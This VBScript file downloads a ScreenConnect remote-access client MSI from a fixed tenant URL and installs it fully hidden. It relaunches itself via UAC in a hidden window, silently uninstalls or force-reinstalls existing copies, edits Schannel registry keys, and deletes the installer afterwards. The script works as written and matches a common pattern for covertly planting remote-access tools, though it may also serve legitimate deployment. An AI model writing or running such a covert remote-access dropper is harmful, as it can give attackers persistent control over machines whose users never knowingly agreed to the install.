' installer_forced_v4.vbs - hardened, UAC-aware, fully hidden (no console)
Option Explicit

Const AUTO_ELEVATE = True   ' True: relaunch hidden via UAC | False: abort if not elevated

Dim shell, fso, log, http, stream, wi, app
Dim url, msi, logPath, cmd, code, tmp, sysroot, msiexec
Dim prodCode, state, installedVer, installFlags

url  = "https://kiddoandco.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"   ' <-- set the REAL URL
code = 1

Set shell = CreateObject("WScript.Shell")
Set fso   = CreateObject("Scripting.FileSystemObject")

sysroot = shell.ExpandEnvironmentStrings("%SystemRoot%")
tmp     = TempFolder()
logPath = tmp & "\installer_forced.log"
msi     = tmp & "\installer.msi"

If fso.FileExists(logPath) Then
    Set log = fso.OpenTextFile(logPath, 8)   ' append (second instance after UAC relaunch)
Else
    Set log = fso.CreateTextFile(logPath, True)
End If
log.WriteLine Now & " started as " & shell.ExpandEnvironmentStrings("%USERNAME%") & _
              " on " & OsVersion()

' ---------- 0. Elevation gate (hidden UAC relaunch) ----------
If Not IsElevated() Then
    If AUTO_ELEVATE Then
        log.WriteLine "Not elevated - relaunching hidden via UAC..."
        Set app = CreateObject("Shell.Application")
        ' wscript.exe = GUI host (no console); SW_HIDE (0) = hidden window
        app.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """", _
                         "", "runas", 0
        WScript.Quit 3      ' parent exits; the elevated hidden copy does the work
    Else
        log.WriteLine "FATAL: not elevated and AUTO_ELEVATE=False. Run as SYSTEM or elevated."
        Cleanup
        WScript.Quit 5
    End If
End If
log.WriteLine "Running elevated - proceeding"

' ---------- Win7/2008R2 only: enable TLS 1.1/1.2 in Schannel ----------
If IsWin7() Then EnableTls12()

' ---------- 1. Download ----------
log.WriteLine "Downloading " & url
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")

On Error Resume Next
http.Option(9) = 10880                       ' TLS 1.0-1.3
If Err.Number <> 0 Then
    Err.Clear
    http.Option(9) = 2688                    ' fallback: TLS 1.0-1.2
End If
Err.Clear
On Error GoTo 0

http.SetTimeouts 15000, 15000, 30000, 300000

On Error Resume Next
http.Open "GET", url, False
http.Send
If Err.Number <> 0 Then
    log.WriteLine "DOWNLOAD ERROR 0x" & Hex(Err.Number) & " " & Err.Description
    Cleanup
    WScript.Quit 1
End If
On Error GoTo 0

If http.Status <> 200 Then
    log.WriteLine "HTTP " & http.Status & " - aborting"
    Cleanup
    WScript.Quit 1
End If

' ---------- 2. Save MSI (empty-body safe) ----------
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1
stream.Open

On Error Resume Next
If IsArray(http.ResponseBody) And UBound(http.ResponseBody) >= 0 Then
    stream.Write http.ResponseBody
Else
    Err.Raise 1, , "Empty response body"
End If
stream.SaveToFile msi, 2
If Err.Number <> 0 Then
    log.WriteLine "SAVE ERROR: " & Err.Description
    Cleanup
    WScript.Quit 1
End If
On Error GoTo 0
stream.Close

If Not IsMsi(msi) Then
    log.WriteLine "Downloaded file is NOT a valid MSI (HTML error page?) - aborting"
    Cleanup
    WScript.Quit 1
End If

' ---------- 3. Locate 64-bit msiexec (Sysnative when running 32-bit WSH on x64) ----------
If fso.FileExists(sysroot & "\Sysnative\msiexec.exe") Then
    msiexec = sysroot & "\Sysnative\msiexec.exe"
Else
    msiexec = sysroot & "\System32\msiexec.exe"
End If

' ---------- 4. Read ProductCode read-only from the MSI database ----------
Set wi = CreateObject("WindowsInstaller.Installer")
prodCode = GetProductCode()
If prodCode = "" Then
    log.WriteLine "WARNING: could not read ProductCode - skipping uninstall step"
Else
    log.WriteLine "ProductCode: " & prodCode
End If

' ---------- 5. Detect existing install via MSI API (all contexts) ----------
installedVer = ""
installFlags = ""
If prodCode <> "" Then
    On Error Resume Next
    state = wi.ProductState(prodCode)        ' -1 unknown, 2 absent
    If state <> -1 And state <> 2 Then
        installedVer = wi.ProductInfo(prodCode, "VersionString")
        log.WriteLine "Existing install: " & installedVer & " (state " & state & _
                      ") - uninstalling first"
        cmd = """" & msiexec & """ /x " & prodCode & " /qn /norestart /l*v """ & _
              tmp & "\uninstall_msi.log"""
        log.WriteLine "CMD: " & cmd
        code = shell.Run(cmd, 0, True)       ' 0 = hidden window
        If code <> 0 And code <> 3010 And code <> 1605 Then
            log.WriteLine "Uninstall returned " & code & " - forcing reinstall instead"
            installFlags = "REINSTALL=ALL REINSTALLMODE=amus "
        Else
            log.WriteLine "Uninstall ok (exit " & code & ")"
        End If
    Else
        log.WriteLine "Not installed (state " & state & ") - fresh install"
    End If
    Err.Clear
    On Error GoTo 0
End If

' ---------- 6. Install (forced flags only when replacing) ----------
cmd = """" & msiexec & """ /i """ & msi & """ /qn /norestart " & _
      installFlags & "ALLUSERS=1 IGNOREDEPENDENCIES=1 /l*v """ & tmp & "\installer_msi.log"""
log.WriteLine "CMD: " & cmd

code = shell.Run(cmd, 0, True)               ' 0 = hidden window, True = wait
log.WriteLine "msiexec exit code: " & code & " (" & MsiResultText(code) & ")"

Cleanup
WScript.Quit code

' ==================== Helpers ====================

Function TempFolder()
    Dim t
    t = shell.ExpandEnvironmentStrings("%TEMP%")
    If InStr(t, "%") > 0 Then t = sysroot & "\Temp"   ' TEMP unset -> fallback
    TempFolder = t
End Function

Function IsElevated()
    Dim testPath
    IsElevated = False
    On Error Resume Next
    testPath = sysroot & "\uac_write_test.tmp"
    fso.CreateTextFile(testPath, True).Close
    If Err.Number = 0 Then
        fso.DeleteFile testPath, True
        IsElevated = True
    End If
    Err.Clear
End Function

Function IsMsi(p)
    Dim s, h, sig
    IsMsi = False
    On Error Resume Next
    If fso.GetFile(p).Size < 1024 Then Exit Function
    Set s = CreateObject("ADODB.Stream")
    s.Type = 1: s.Open: s.LoadFromFile p
    h = s.Read(8): s.Close
    sig = ChrB(&HD0) & ChrB(&HCF) & ChrB(&H11) & ChrB(&HE0) & _
          ChrB(&HA1) & ChrB(&HB1) & ChrB(&H1A) & ChrB(&HE1)
    If StrComp(h, sig, vbBinaryCompare) = 0 Then IsMsi = True
End Function

' Reads ProductCode from the MSI's Property table - no install is triggered
Function GetProductCode()
    Dim db, view, rec
    GetProductCode = ""
    On Error Resume Next
    Set db = wi.OpenDatabase(msi, 0)         ' 0 = msidbOpenReadOnly
    If Err.Number <> 0 Then
        log.WriteLine "OpenDatabase failed: " & Err.Description
        Exit Function
    End If
    Set view = db.OpenView("SELECT Value FROM Property WHERE Property = 'ProductCode'")
    view.Execute
    Set rec = view.Fetch
    If Err.Number = 0 And Not rec Is Nothing Then
        GetProductCode = rec.StringData(1)
    End If
    Err.Clear
End Function

Function IsWin7()
    Dim v
    IsWin7 = False
    On Error Resume Next
    v = shell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion")
    Err.Clear
    If v = "6.1" Then IsWin7 = True          ' Win7 SP1 / Server 2008 R2
End Function

Sub EnableTls12()
    Dim base
    base = "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\"
    On Error Resume Next
    shell.RegWrite base & "TLS 1.1\Client\DisabledByDefault", 0, "REG_DWORD"
    shell.RegWrite base & "TLS 1.1\Client\Enabled",          1, "REG_DWORD"
    shell.RegWrite base & "TLS 1.2\Client\DisabledByDefault", 0, "REG_DWORD"
    shell.RegWrite base & "TLS 1.2\Client\Enabled",           1, "REG_DWORD"
    shell.RegWrite base & "TLS 1.2\Server\DisabledByDefault", 0, "REG_DWORD"
    shell.RegWrite base & "TLS 1.2\Server\Enabled",           1, "REG_DWORD"
    If Err.Number <> 0 Then
        log.WriteLine "WARNING: could not write Schannel TLS keys (" & Err.Description & _
                      ") - needs admin; KB3140245 also required on Win7"
    Else
        log.WriteLine "Schannel TLS 1.2 enabled (registry)"
    End If
    Err.Clear
End Sub

Function OsVersion()
    Dim p, b, d
    On Error Resume Next
    p = shell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
    b = shell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuild")
    d = shell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DisplayVersion")
    Err.Clear
    If d <> "" Then
        OsVersion = p & " build " & b & " (" & d & ")"
    Else
        OsVersion = p & " build " & b
    End If
End Function

Function MsiResultText(ec)
    Select Case ec
        Case 0    : MsiResultText = "Success"
        Case 3010 : MsiResultText = "Success, reboot required"
        Case 1602 : MsiResultText = "User cancelled"
        Case 1603 : MsiResultText = "Fatal error during installation"
        Case 1605 : MsiResultText = "Product not installed (benign on uninstall)"
        Case 1618 : MsiResultText = "Another installation already in progress"
        Case 1619 : MsiResultText = "MSI package could not be opened"
        Case 1625 : MsiResultText = "Installation blocked by Group Policy"
        Case 1925 : MsiResultText = "Insufficient privileges (needs elevation)"
        Case Else : MsiResultText = "Unknown - see " & tmp & "\installer_msi.log"
    End Select
End Function

Sub Cleanup()
    On Error Resume Next
    If fso.FileExists(msi) Then fso.DeleteFile msi, True
    log.Close
    Err.Clear
End Sub